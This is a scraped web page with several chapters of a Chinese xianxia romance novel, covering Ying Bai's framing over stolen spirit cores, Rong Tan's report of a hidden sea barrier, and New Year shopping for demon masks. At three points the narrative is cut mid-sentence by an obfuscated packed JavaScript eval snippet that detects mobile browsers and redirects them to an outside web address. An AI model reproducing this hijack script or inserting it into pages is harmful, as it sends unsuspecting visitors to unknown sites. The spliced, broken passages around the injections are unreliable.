顾寄章的脸色又阴沉两分,他低沉道:“谁让你出手阻止行刑的?” 顾云萧更疑惑了:“陛下不讲理,随便杀人,我当然要出手阻止了,你们跟他讲理的功夫还不如直接动手,反正陛下不会对紫阳宫怎么样的。” 顾寄章脸上的怒火快要从眼中溢出,这个时候,沈宫主的声音从另一边响起:“云萧,多年不见,你已出落得这么标致了,还认识我吗?” 顾云萧乌黑的眼眸又明亮起来,“沈姨!”她撇下顾寄章跑了过去,上官琛的目光追随着她,显得有些失落。 “这个姑娘很有趣是吗?”应白的语气一半好奇一半像在反问。 邱梧半笑不笑地看了他一眼,“云萧率性天真,她本心不坏。” “云萧!你怎么都不看看我!”上官琛终于忍不住上前彰显自己的存在,顾云萧笑道:“你是男子,怎么不先来跟我打招呼,倒让我先问候你?一点都不君子。” 上官琛不服气:“你见着谁都抱,一点也不淑女!” 顾云萧叉腰道:“沈姨待我好,我抱她哪里出格了?我抱我爹又哪里出格了?”她跑到邱梧身边继续道:“我和邱梧姐姐是女孩子,抱着她又哪里出格了?” 上官琛被赌得哑口无言,顾云萧弯起眼角看着邱梧:“你说是吧,邱梧姐姐。” 她的目光越过容珠注意到了应白,一双眼睛带着好奇与探索,“这位公子是谁啊?” 容珠心里纳闷自己并没有和这位顾姑娘有嫌隙,怎么她似乎对自己视而不见呢? 她余光看见顾先生正跟沈宫主说些什么,而沈宫主一脸笑意,说着什么“多想了”什么的,容珠并没有听清。 邱梧侧身介绍道:“应白是我的朋友,也是容珠的师父,容珠也是点亮石碑的人。” 应白朝顾云萧微微点头表示打招呼,他看到顾云萧探索的目光又落在容珠身上,容珠朝她微微一笑,顾云萧嘴上在笑,双眸却在打量着容珠面容。 过了一会儿,顾云萧拉着邱梧的胳膊小声道:“邱梧姐姐,不知这位应公子有没有婚配啊?” 她虽然说得很小声,但容珠还是很清楚地听到了。邱梧原本微笑的表情显而易见浮现了一丝讶异,“你怎么如此突兀地问这样的问题?” 顾云萧纯粹因为好奇才问,全然不觉有何不妥,她继续用着容珠能听到的声音小声地在邱梧耳边嘀咕:“因为他长得很俊朗,和你很般配啊!” 73. 幕后人 容珠发现她说完这句话的时候有意无意地看了自己一眼,乌黑的眼眸睁得大大的,释放着灵动夺目的光辉。 这个眼神很奇怪,像在审视,像在炫耀,但容珠觉得自己这样认为是不对的,她和顾云萧并不认识,到目前为止一句话也没说,她没道理对自己产生不友好的情绪。 邱梧笑了笑道:“你是不是这些年在外面竟瞎做媒去了,多年不见你也不跟我们叙旧,倒是张口就胡说八道,也太随性了些,亏着都是自己人,不然都笑话你呢。” 顾云萧吐了吐舌头,随后听见顾寄章在叫自己。容珠看见三皇子正朝沈宫主走来,邱梧心知少不了谈论石碑印记,就拉着容珠去拜见。 “沈宫主。”三皇子面带微笑,神情略有歉意,“父王近来情绪不定,如果真因魔龙之故,难道就没有别的解决方法了吗?” 沈宫主依旧对三皇子持有礼节,她微微摇头道:“目前看来,可能只有自我控制才有效果,不知皇后娘娘近来如何?” 三皇子遥望身后宫殿,叹息道:“我征得父王同意,可以每隔一段时间去探望母后,母后听说了此事只对我说父王虽是国君,但我也是皇子,也有体恤百姓的义务,我想我只能尽力而为。” 他眉间含忧,但整个人依旧散发着皇子气魄,“我知道沈宫主对我父王说的那番话不是不敬,只是若非如此,恐怕父王只会由着性子来,我也不希望朝荣国出现两立的局面,我只想问沈宫主一句,沈宫主所在乎的是什么?” 沈青寒正色道:“紫阳宫虽是江湖门派,以降妖除魔为本职,但归根结底是希望天下百姓能安宁富足,只要能做到这一点,不管什么事情,紫阳宫一定会尽全力付出。” “好。”三皇子双眸闪亮,随后看向邱梧、上官琛和容珠,“如今点亮石碑的三位人士都在紫阳宫,可见紫阳宫心之所向,既如此,我也无需多言,望诸位谨守本心,共同维护朝荣国。” 容珠等人向三皇子行礼,目送三皇子大踏步回宫。 顾寄章正对顾云萧说着什么,脸色还是怒气冲冲的,顾云萧一边捋顺着自己的发辫,一边安抚她爹。 “走吧。”应白来到容珠身边,对她使了个眼色。 两人迈入正陆陆续续散去的人群里,容珠抬眸问他:“师父要对我说什么?” “你不是想知道我为什么受伤吗?”应白歪头看她,“我们那边发生了一些事,我想先跟你说。” 一盏茶后,两人已经走到了紫阳宫门口,皇宫派来的那些士兵正收拾着东西整整齐齐地回去。 容珠暂且不问是谁暗算了师父,她将目光落在应白的肩膀处,神色忧痛,“真的是千丝万缕?” 应白笑道:“不是已经被你治好了?” 容珠避开应白的目光,担忧道:“你不该回去,那里那么危险,如果你……” 她知道应白现在没事了,可是想想他躺在床上的样子,想到顾先生说应白性命垂危,容珠心里都后怕不已。 应白眼角弯弯,温和道:“如果我不确定那里是否有灵根草,我也不会冒险的。” 他神情稍稍严肃了些,“我们那里显然有人在背后谋划什么。” 容珠抬眼:“你怀疑是万初干的?” “他的灵力是圣灵中最强的,可能性最大,但别的圣灵也不是没可能。凶手既有这个能力,按理讲他肯定把事情处理得滴水不露才是,但是这个时候,发疯的谷嵩却被清凌门发现了。” 如此,谷嵩灵核被挖的事实就呈现在圣灵宫眼前,一个圣灵出了事,人们首先想到的就是被另外一个圣灵所害,因为旁人也没有伤害圣灵的本事。 这件事的严重性在于谷嵩的灵核没了,很显然凶手有所图谋,如果不是万初,万初必要细查到底,他绝不允许有人在他的眼皮底下心怀鬼胎。 应白慢慢分析着:“谷嵩意外跑出来恐怕是凶手事先做的准备,他的灵力一下子被人吸食干净,精神受到了打击,凶手再趁机对他进行错误的引导,说是我杀的,他便成功地把自己藏了起来。” 说到此处,应白笑了一声,这声笑温柔又寒冷,他亮晶晶的眼眸似乎散发出了一丝钦佩的神色。 “他的运气真好,正好这个时候,我被抓去了圣灵宫。然后他顺理成章,想了个完完全全让我成为替罪羊的办法。” “因为我没有灵核,要想有灵力就一定会拿别人的灵核,他让我在众目睽睽之下用出谷嵩和尤鸣的灵力,修真界众人亲眼瞧见便会对此深信不疑,有证人有证据,这便是铁板钉钉的事,没有人会怀疑我如何掌握了这种邪术,因为在他们眼中我本来就是一个能力非凡又危险的人。”应白叹了口气。 容珠知道他现在很生气,他生气的时候眼神里没有明显的怒火,整个身子也没有紧绷着,只有眉间隐隐带着愤愤之色,双眸里的难过郁闷之情像一层乌云将他包裹住。 谁喜欢自己成为全世界都讨厌的对象?谁又愿意遭人暗算,平白无故添了份罪名? “我知道师父不是。”容珠看着他的眼睛,尝试安慰他,她本来还想说“师父是一个温柔又正直的人”,但当应白带着想进一步继续听的眸光看向她时,容珠便只朝他笑了笑。 “可是……”容珠想到了一件事,“这世上真的有能让人体内容纳多个灵核的邪术吗?” 这太匪夷所思了,容珠从前虽然修炼不怎么样,但看的书还不少,从未看到过哪本书上说人体内能容纳多个灵核的,不过她转念一想,自己看的都是正书,这种邪术当然不会出现了。 应白回忆了一下自己当时在天阙台上的感觉,“按理讲是不可能的,人体内就那么点空间,如果放置多个灵核,那心肝脾胃肾又要如何安置?不过当时我的确用出了十分纯厚的两种灵力,说不定那个人已经会运用自如了。” 他眉头紧紧锁着,一个显而易见的事实就摆在眼前,“原本属于谷嵩和尤鸣的灵力现在已经完完全全属于他了。” 世人为了修炼无所不用其极,人体内不能容纳多个灵核也只是大多数人的认知,如果有人创新钻研,焉知没有这个可能? 应白面色凝重道:“不管那个人的最终目的是什么,如果真有一天他成了绝对的强者存在,只怕我们所在的世界又要掀起风浪了。” 若体内容纳多个灵核的方法一经暴露,那世上有多少人会争先恐后这么做?那个世界岂不更是人间炼狱? 容珠想到自己父母的坟墓还在清凌门,还有一直讨厌她的容檀,还有一直对她不热不冷的叔叔容江,还有一直关心她的大师兄连逸。 她忽然生出了一股很强烈的修炼意念,她必须要尽快修炼起来,一是为了对付魔龙,二是为了应对将来意料之外的事。 如果可以,她还想拿回应白的灵核。 圣灵宫…… 容珠心里字字想着。 * 外出游历了很多天的容江终于回来了,容檀一听说这个消息就忙不迭地出门迎接。 虽说容江并没有亲自看到应白受刑时的场景,但此事已经沸沸扬扬地传开了,说应白已经掌握了非凡之术,一人在天阙台上单挑四位圣灵都毫发无损,恐怕修真界是要变天啊…… “爹。”容檀十分严肃地把容江拉进屋子里,顺势坐在容江旁边的椅子上,十分认真道:“爹,你有空一定要去南海中央一趟,那里有一面看不见的屏障,女儿知道你很擅长结界之术,说不定你去了以后能发现一个大秘密!” 容江以为容檀要对他说应白受刑一事,但这会儿听来似乎毫不相干,“你既说看不见,你怎么知道海上有屏障的?” “我亲眼看到应白逃离天阙台后来到南海,凭空消失了。”容檀转头看向连逸,质问道:“你也看到了是不是?” 连逸不知容檀又要打什么主意,两人一起看到的,他又不能说不是,只好点了头。 “爹,我已经是第二次看到应白在南海中央凭空消失了,上回采摘灵芝那日情势严峻,我并未多想,现在看来,南海中央一定有一面屏障,正是应白和容珠的藏身处。” 容江思索片刻后问:“只有你和连逸发现了此事?” “想来没有其他人发现,不然应白在南海上消失一事就不是秘密了。”容檀清冷的目光在眼眶中散发着锐利气息。 说实话,对于应白那日在天阙台上的举动,连逸心中也有很多疑问,应白既然有强大的灵力,为什么还会被清凌门的弟子抓?任由容檀将他送入圣灵宫?还要白白承受万初的千丝万缕? 他拿了自己给他的灵根草解药直接从清凌门逃走不就行了? 除非当时的他还没有这份力量。 连逸当然好奇应白为什么会有谷嵩和尤鸣圣灵的灵力,他知道有一种丹丸可以让人在一个时辰内灵力达到巅峰,几乎每个门派都有这种丹丸,要制作这种丹丸少不了灵力的灌输,意味着应白在制作丹丸时要同时将谷嵩和尤鸣的灵力注入进去。 这件事怎么想都觉得大有问题,没有一处是能解释得通的,不过更让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899727|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他忧虑的是这个丹丸吃了以后用多少灵力就会有多少灵力反弹自身。 应白用出了两种圣灵之力重伤场上四位圣灵,那他自己现在是否还安好?还有容珠师妹是否已经无事? “檀儿。”容江并没有就这件事深入讨论,他微笑地对容檀道,“你对应白在天阙台上的行为有什么看法?” 容檀没有思索,直接笑道:“应白究竟有多少本事恐怕没有人能晓得,他此番举动无疑是在告诉所有人,假以时日圣灵宫里的圣灵都不是他的对手。” 容江依旧微笑地看着她,“为父倒有一事不明,如果应白真要挑战圣灵宫,他为什么要在自己还没准备好的时候出来,引人注目呢?更何况我听说,那日他还毫不反抗地承受了万初圣灵的千丝万缕,他既然有本事,为什么还要让自己白白受伤?” 容檀不假思索道:“应白本来就不是一个正常人,我们何必要去猜想他的头脑里在想什么?” 连逸毫不掩饰地皱起了眉头,一是不喜欢容檀总贬低应白,二是在想容江的话分明是在告诉容檀此事的蹊跷之处,而容檀竟然未起疑心。 屋子里静默了一阵,容江十分亲切地端详着容檀,若不去回顾刚才二人的对话,此刻屋里的情形很像是父亲多年未见爱女,怎么看都看不够的样子。 “这么说,你是认定应白杀了谷嵩和尤鸣圣灵,妄图将来有一天对付圣灵宫?”容江给自己倒了一杯茶,徐徐地吹着杯中热气。 “那是自然,每个人活在世上不都是在激烈的竞争吗?应白天赋异禀,好几次都大难不死,既然没死,他肯定要想方设法翻身。” 容江抬起犀利的目光,穿过茶杯散发的飘渺热气,平静地问:“如果将来有一天应白真的占据了圣灵宫,你会尊敬他吗?” 容檀闻言思量了一下,双眉蹙起,眸间浮起一丝冷色。 她从小刻苦修炼为的就是将来有一日能成为强者,对容檀来说,只有比她灵力高强的人才能受到她的尊敬,但如果让她尊敬实力再次恢复的应白…… 世间强者为尊,弱者低贱,容檀自会认为宣扬仁爱的应白是另类,发自内心排斥他,即便应白占据圣灵宫,容檀也不会真心尊敬。 圣灵宫是容檀心中的信仰,有着天神一般的地位,如果那些圣灵都被应白打倒的话,在容檀心中他就是谋反,绝不会对他卑躬屈膝。 容江观摩着她的神色知她心中所想,但并没有顺她心思道明,而是说:“圣灵宫就是巅峰强者的象征,若那几位圣灵打不过应白也该趁早让位,这个世界怎么会允许弱者存在?” 容檀神色不快,辩驳道:“应白是修真界的罪人,他没有资格再进入圣灵宫。” “罪人这个名头是战胜他的人起的,若他将来有一日站上圣灵宫,那那些圣灵就是罪人。” 容江此言在容檀听来几乎算得上是大逆不道之言,她有些吃惊地看着自己的父亲,看他神色不改地看着自己,继续道:”胜者为王,败者为寇,胜利者的话永远是对的,圣灵宫说应白是杀害谷嵩和尤鸣圣灵的凶手他就真的是吗? 容江忽然转头道:“连逸,你可知道应白为什么会突然在南海现身?” 连逸看着容檀惊诧疑惑的目光看向自己,他顿了顿,实话实说:“因为容珠中了灵根草的毒,应白是回来拿解药的,正好我这里有一瓶已经提炼出来的灵根草凝珠,就给了他。至于他为什么会有谷嵩和尤鸣圣灵的灵力,我不得而知。” 他目光看到容檀的身子猛地一顿,不可置信的神情充斥着整个屋子,她又惊又气:“你没有告诉我?你什么都没跟我说!” 连逸心里一阵无奈,若把这件事跟她说容珠肯定就没得救了,况且灵根草凝珠是他的私人物品,并不是清凌门的宝贝,说与不说不会影响任何利益,说了只会白白挨骂。 但容檀想的可不是容珠得不得救这件事,容檀贵为一派掌门,手底下的弟子竟又瞒着她跟一个罪人勾结,这是明摆着不把她放在眼里,明晃晃地在挑衅她! “檀儿。”容江起身走到她面前,一只手抚上她的肩膀。 “我希望你能看明白,杀谷嵩和尤鸣圣灵的人利用应白隐藏了自己,这牵涉的不仅仅是捉拿应白一事。这个世界强弱之分如此激烈,一个人既有吸收两个灵核的本事那他必有野心,我们这些灵力不高的人将来的生存只会更艰难。” 同样的意思,不一样的语言再次在容檀耳边警告,就在几天前,在这个房间,这个位置,应白也是这么跟她说的。 74. 看好你 此后几天,沈宫主依然按时朝拜,赵皇帝一句也没提行刑那日的事,除了赦免有罪之人,把上官宫主放出来外,他原计划进行的一切还在照常进行中:装修宫殿,加征赋税以及挑选妃嫔。 过年的日子正一步步临近,如今天气寒冷,容珠已经穿上了棉袄,她现在每日都在专心致志地干两件事:提升灵力和改变那只黑兔子。 邱梧很愿意陪她一起研究怎样释放爱之力,顾云萧对毛绒绒的兔子很感兴趣,也对容珠能释放爱之力很感兴趣,她常观察着容珠的举动,好像容珠脸上有什么脏东西,弄得容珠有些尴尬。 关于顾云萧是否点亮了石碑印记,她难得叹气道:“我的灵力就那么点儿,还没容珠强,血抹在石碑上一点反应都没有,不过邱梧姐姐一开始不是也没点亮吗,说不定我努力努力也有这个可能呢?” 她蹲在干枯的草地上,拿干草喂着小屋里的白兔。 这是紫阳宫为兔子们准备的过冬屋子,而黑兔子单独一个小屋,容珠和应白正蹲在屋前观察着它,它蜷缩在棉被的角落里,一副半睡不睡的状态。 “邱梧姐姐,不如你教我修炼吧?”顾云萧嘴中冒着白气,小巧的鼻子红彤彤的。 邱梧笑道:“这是什么道理?你父亲是我和阿琛的先生,你想修炼直接找你爹爹就好了,我可不懂得如何做师父。” 顾云萧嗔怪道:“我爹那人凶巴巴的,要是让他教我,那我一天到晚就得挨打,他根本不会因为我是她女儿而心慈手软,这么个教法,我怎么能学得会啊?” 一阵冷风吹过,容珠打了个喷嚏,今日的阳光虽然暖洋洋的,但出来久了,容珠的手和脚很快就散失温度,变得冰冷了。 应白从怀里掏出一个暖炉递给她,容珠看他穿得并不厚,还以为这个暖炉是应白自己用的,她道:“师父,我穿得比你厚,你要是再把暖炉给我,你就该冷了。” “拿着。”他直接塞进容珠手中,“从前我在东林山修炼的时候,每年冬天,师父都让我去冰湖里游泳,冷着冷着就习惯了,以后到了冬天不穿棉袄也不觉得冷。” 容珠在听到“冰湖游泳”四个字的时候浑身起了一层鸡皮疙瘩,连手里的暖炉都不觉得热了。她无法想象在冬天游泳是一种什么样的感受,战战兢兢问:“师父,你不会也要求我这样吧?” 听说冬天在湖里游泳可以强身健体,对修炼有益,她宁可不吃不喝,废寝忘食地修炼也不愿尝试这样一种恐怖的方法。 应白神色讶异:“当然不会啦,冰水对女子的身体有伤害,不管在冬天还是夏天都要谨慎使用。” 手里的暖炉又暖和起来,她忽然意识到既然应白不怕冷,那这个暖炉是他专门为自己拿的吗? 一种被在乎的感觉包裹她的心头,连带着看这只黑兔子也顺眼多了,好像用不出爱之力也不是什么多困难的事,只要她努力,总有一天能用出来。 顾云萧还在央求着邱梧教她修炼,邱梧忽然灵机一动,道:“我知道有个人比我更适合。” 她看着不远处一个火红的身影朝这边走来,伸手指着那个方向道:“你看,那人来了。” 随着顾云萧的目光望去,红衣黑靴的上官琛映入眼眸,高挑的马尾随着他的奔跑幅度而肆意张扬,在寒冷干枯的冬天像一把烈火滚滚燃烧。 “阿姐!” 上官琛看起来很高兴,围在脖子一圈的毛领随风翻飞着,嘴巴一张一合间冒着温热的白气,他指着紫阳宫大门的方向道:“弟子们要去集市上买年货,咱们也去吧!” “好啊!”顾云萧猛地起身,兴高采烈道:“我就喜欢热闹的地方,走走走!” 邱梧被顾云萧拉着起身,她转头示意容珠和应白也一起,应白道:“你们先去,我们随后就来。” 过了一会儿,周遭安静了下来,没有人喂草了,白兔子们相互贴在一起取暖,黑兔子仍旧蜷缩在一角不理会容珠,容珠苦闷道:“这么长时间都没有进展,到底怎么样才能用出爱之力?” 她伸出被暖炉暖得红润的手掌,明明是自己的手,容珠却像在乞求似的看着它。 应白安慰她:“既然能使出一次,就能使出第二次,你当时对我能用出来,除了你不希望我这个师父受伤外,还有别的想法吗?” 容珠心里一咯噔,她盯着手里的暖炉,忽然觉得双脚有些麻,她微微挪动了一下脚步,让自己局促的脸尽量不完全呈现在应白面前。 “如果说爱之力现在只属于奚昤的神识,还没属于你的话,那天你能用出来说明你心里的爱唤醒了奚昤……” 应白说到这里好像忽然捕捉到了什么东西,容珠那天无非是希望自己的师父能够平安,难道只是这样就能唤醒奚昤吗? 徒弟希望师父平安是一件正常的事,那容珠希望黑兔子不伤害白兔子也是一件正常的事,为什么前者就能用出爱之力,而后者却不行? 莫非那天还有其他的因素,这个因素才是在当时唤醒爱之力的关键点? “师父。”容珠尴尬地笑了笑,“我想爱之力既然有如此高强的作用,肯定不会简单地因为心中对施展对象有爱就能用出来,就像邱梧所说,我可能要学会领悟更高层次的爱才能再次施展爱之力吧。” 应白思觉有理,他目光温和:“这不是一件容易的事。或许随着你听过见过的事越来越多,你的心境会发生不一样的变化。” 容珠也是这么想的,朝荣国既是爱之世界,在这里经历的一切一定会让自己看到爱的多种色彩以及明白真正的天道是什么。 “点亮石碑这件事把我和朝荣国连在了一起,魔龙的本事又深不可测,我一定要努力修炼,为了杀魔龙也为了成为全新的自己。” “这难不倒你。”应白的双眸亮晶晶的,“你一直都是这样一个人,从我们第一次见面的时候,我就知道你是一个内心有力量的女子。” “嗯?” “不管面对谁,你永远不会认输,永远不会低头,即便当时的你没有灵力,也会拼尽全力向前走。” 容珠双眸眨也不眨地看着应白,她恍惚觉得应白不是在看自己,而是在看点点繁星,因为他的眼睛是那么的明亮,散发着流光溢彩的明亮。 这双一向温和平静的棕色眼眸,此刻像在暗里涌动,像夏日的阳光那样炽热,看得容珠脸上热热的。 她内心雀跃,心想:这就是他喜欢我的原因吗? “那么……这就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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容檀吃两口就声称要回屋修炼,她从来不会认为过年是特殊的,也从不会因为过年而守岁,影响自己睡美容觉。 那个时候,爹爹和叔叔也难得多说几句话,容珠被各桌弟子轮流叫过去坐下喝酒,和他们一起放烟花,放炮仗,她玩得正开心时忽然发现他们都离得好远,笑嘻嘻地看着她,紧接着身旁的炮竹开始噼啪作响,他们吆喝着:“容珠快过来,小心炸着你!” 她捂着手跑了过去,心想他们一定是玩得太开心了,忘了说。她在火光四射的炮竹后看到大师兄一个人站在远处忧心地看着她,对上他的目光时,他生硬地皱眉避开了,然后消失在了没有烟火的黑暗中。 “容珠?” 应白发觉容珠一直在对着一个卖炮仗的摊子发呆,“你想玩炮竹吗?” 容珠摇摇头,即便手上的伤疤早已好了,她看见炮竹依旧能回忆起那时的痛。有些事当时没发现它隐藏的含义,现在想想却已心知肚明。 她从来不知道在爹爹的爱和其他弟子对她的恶之外,还有一个人用一种更为复杂的情感面对着她,她不知道自己也曾给他人带来过痛苦。 要么选择讨厌她到底,要么就坚定地对她施以援手,但在很多时候,人总会因缺少勇气而犹豫不决。 连逸在不断的挣扎中最终选择了后者,他坚定地站在容珠这一面,勇敢地面对应白当年的那句话,并去做。 75. 美男子 集市上的喜庆热闹很快将容珠脑子里的回忆和思虑清空一片。她和应白穿梭在每一个摊子前,因为几乎每一个摊子前都挤满了人,他们要挤上前才能看清这个摊子卖的究竟是什么。 容珠还不知道紫阳宫需要买什么,这里的习俗跟她所在的世界大不相同,要是买的不合适,紫阳宫就用不上,她抬头在人群中寻找邱梧的身影,视线不由自主被一个庞然大物吸引。 不知道哪个摊子支了个长架,架子上挂着一面非常大的红色魔鬼面具,大到足足能挡住一个人的身影,两颗白色的獠牙被阳光照得闪闪发光,却看不出一点邪恶气息。 平常并未见朝荣国卖魔鬼面具,这个时候卖莫非有什么讲头? “师父,我们去那看看!” 刚好有几个人买完东西离开,摊子前顿时空出一条路来,应白跟在容珠身后顺着龟速的人群来到了魔鬼面具摊前,一抹紫色的衣角从离开的人群后显露出来。 “邱梧!” 容珠心道一声巧,她看见上官琛和顾云萧正蹲在地上挑拣面具,邱梧看见她很高兴,“我们正在买魔鬼面具呢,你也来挑个。” 这个面具摊几乎占了半条街道,兴许是卖魔鬼面具的摊主都挨在了一起,成千上百张不同魔鬼样式的脸庞呈现在眼前,显得诡异又喜庆。 “来来来,魔鬼面具!价格便宜花样多,仅此一家!快来瞧一瞧看一看啦!” 摊主的声音如响雷般在容珠头顶乍现,容珠忍受着耳朵的嗡鸣声,看着邱梧指着面前一大片魔鬼面具道:“老板,这些都要!” “好嘞!” 老板笑得门牙直闪光,拿出一个大布兜就开始边装边数,容珠好奇道:“为什么要买魔鬼面具?” 她看到邱梧正张嘴说,结果声音是从顾云萧的嗓子里发出的,她突然从邱梧和容珠之间冒出头来,乌黑的眼睛闪着光亮。 “这是朝荣国的习俗,容珠姑娘怎么不知道?” 容珠笑道:“我的确不知,你与我讲讲。” 顾云萧一拍手道:“传说过年这天会有魔兽出没,吓唬百姓,偷吃饭菜,还破坏屋子,拿走金银钱财,于是有人就想了一个妙招,制作了一个魔鬼面具带在脸上,魔兽一来看到屋子里有别的魔兽就不敢进来了,所以过年这天,家家户户都要带魔鬼面具,驱赶魔兽,祈福纳吉。” “原来如此。”容珠觉得甚是有趣,有没有魔兽不知道,但带魔鬼面具肯定不会吓跑魔兽,这样的习俗只是增加节日氛围,取乐玩闹罢了。 “还有呢!”顾云萧看容珠开始挑面具,蹲在她身旁两手一拍:“魔兽来了以后要是看见有其他魔兽在,它会给其他魔兽,也就是带面具的我们留下它的一句话或者一句祝福,等到子时一过,我们将面具烧了,这句话就能看到了。” 容珠被这个说法吸引了,她很快反应了过来里面蕴藏的玄机,“你是说,这里的每一个面具里都藏着一句话?” “嗯哼。”顾云萧鼻尖发出一声肯定的回答,“不同的话哦,但不能提前烧,提前烧了的话祝福就没用了。” 容珠觉得这个习俗太有趣了,她开始在众多面具中精挑细选,她拿起一个青面獠牙的面具举在应白眼前,透过面具空洞的两只眼看到了应白投来的目光。 “这个不好看。”应白将面具放了回去,他拿起一个凶眉黑牙的红色面具比划在容珠脸上,故作欣赏后道:“这个适合你。” “这个太丑了。”容珠对应白的眼光表示怀疑。 面具摊主终于把邱梧要买的面具用两大兜子装好,邱梧接过后对上官琛道:“那些不愿出门的弟子到时候就从里面挑吧。” 容珠看到上官琛挑了一个黑脸,模样凶狠的面具,顾云萧挑了一个白脸吐着粉色舌头的面具。 最终,她挑了个红脸圆目,长着黑牙的魔鬼面具,应白挑了一个红脸圆目,长着白牙的魔鬼面具。 邱梧和上官琛采购了很多东西,容珠和应白帮他们拿,在街道的尽头停着一辆挂着紫色旗子的马车,那是紫阳宫的专属马车,众人把东西都搬了上去,上官琛掏出采购清单,看看还有哪些东西需要买。 “我还没有买过年衣服呢!”顾云萧突然大声地说了一句,上官琛道:“那你得快去订了,这个时候恐怕成衣铺都排满了人。” 看来过年买新衣的习俗在哪里都有,容珠想着她还在清凌门的时候,都是裁缝上门量身定做,做完了,她满意了,裁缝才走。 “邱梧姐姐,你是不是也没订新衣服呢,我们一起去吧。”顾云萧亲切地挽着邱梧的胳膊,歪头期待。 邱梧道:“我衣服不少,不必订新衣了,你若订我便陪你,容珠要一起吗?” 容珠想着自己也不缺衣服,但去看看热闹也不错。不过她还没开口邱梧就已经拉着她道:“走吧走吧。” “还有祭祀品没买,她们去买衣服,咱俩去买剩下的东西。”上官琛把清单塞进袖子里,和应白重新回到集市上。 成衣铺果然围满了人,店老板和几个伙计被淹没在五颜六色的布匹后,只露着一个脑袋,整个铺子几乎没有一处空闲之地。夫人小姐们围在一起试着各样花色,鲜亮美丽的布匹乱七八糟地堆在各处地方,像被抢劫了一样。 顾云萧娇小的身躯在挂着布匹的架子间穿梭,她双眼明亮,嘴里止不住低声惊叹,似乎每一匹布都很得她心意,转眼间,容珠和邱梧已看不见她的身影。 店铺里人来人往,容珠越看这嘈杂热闹的景象越觉得快乐,这种画面在她的世界里根本不可能出现,除非是年度灵阶比试或者圣灵宫在天阙台召开了什么仪式才有众多人聚集在一起的情形,即便如此,那样的景象也是冰冷的,远不如这里温暖。 “容珠你看那个男子,我从未见过长相如此标志的人。” 邱梧虽说是在赞美,但她的语气却没有惊叹和喜悦,似乎只是在陈述一个现象。 “他长得……”邱梧停顿了一下,语气玩笑道:“他是凡人吗?” 容珠顺着邱梧的目光移了过去,在满是妇人少女的画面中看到了一个身形高大的男子。 他皮肤白皙,似乎保养得当的女子的面容也赶不上他的细腻,他的眉眼像画出来的一样,释放着一种朦胧的线条,连鼻子和嘴唇都似静心捏造过似的,乌黑的头发与黑袍浑然一体,散发着绸缎般的光泽。 他身处人群嘈杂处,然周身一圈都是宽敞松适的,似乎有一面看不见的屏障将他和拥挤的人群隔开。 有小厮走近似乎在问他想买什么衣服,他微微一笑,朝他说着什么,随后昂首阔步和那小厮朝另一边去了。 “他的确长得出尘俊逸。”容珠总结出了一句话。 忽然,来往的人群中有一个身影飞快地穿梭过来,顾云萧惊喜道:“你们在这!” 她两手空空,不像是已经挑好了衣服的模样,但见她眸光亮得过分,十分激动道:“我刚才看见一个非常非常非常玉树临风,风度翩翩的公子,就在那儿!” 她指着摆放男子衣服的布匹列架,此刻那位小厮正在拿一匹藏青色的衣料给男子看。 “我常年游历在外,从未见过容貌如此出挑的男子,我观察了他一阵,发现他的长相气质全身无死角,堪称仙君下凡,他要是在这,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907288|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还怎么挑衣服啊?” 顾云萧分明说着抱怨的话却满脸喜悦,邱梧无奈一笑,对她道:“他挑他的,你挑你的,怎么挑不了了?我可问过了,若是今日订下衣服,最快也得七日后了,要是在过年前做不好衣裳,你更要伤心了。” 顾云萧只思索了片刻便决定今日必须选好料子款式,她央求邱梧帮她一起选,邱梧拉着容珠在她身后慢慢逛悠,折腾了大半天终于定了下来,裁缝给顾云萧量好尺寸后就开了价格单让她们去柜台结账。 容珠粗略一看柜台等候结账的大概有十几人,当她们走过去时发现排在队伍末尾的是那位“仙君”。 顾云萧向邱梧和容珠发起了眼神交流,但邱梧和容珠并不知道她是什么意思。 随后,顾云萧将身上一个绣着竹叶的绿色荷包解了下来,往那男子旁边一扔,然后发出一声“咦?” 她装作不认识这个荷包,走到男子身旁弯腰捡了起来,道:“这位公子,你的荷包掉了。” 容珠和邱梧惊诧地看着她。 顾云萧的身量本就娇小,在这男子跟前更显得对方高挑。 这位男子听到声音后看了一眼荷包,又看了一眼顾云萧,容珠看到他的目光又朝自己这边动了动,随后他微笑道:“在下从不佩戴荷包,倒是这颜色与姑娘的衣服很是相配。” 他捡起荷包,一只手伸出来抚摸竹叶纹路,“竹叶散发的清冽香气会洗涤心灵,助人修心,要是这荷包没主人的话,不如姑娘就带了去吧。” 说罢,他将头转了过去。前面结完账的人陆陆续续离开队伍,男人朝前走了两步,顾云萧依旧保持着笑容,将荷包攥在手中,跟着这男人的步伐朝前走着,聊道:“公子言谈不俗,不知在哪里高就?” 男人道:“初来都城,还未找到施展的机会。” “原来是从远方而来,公子一表人才又具才华,何愁没有用武之地,不知来都城后可曾去过石碑处验血?” 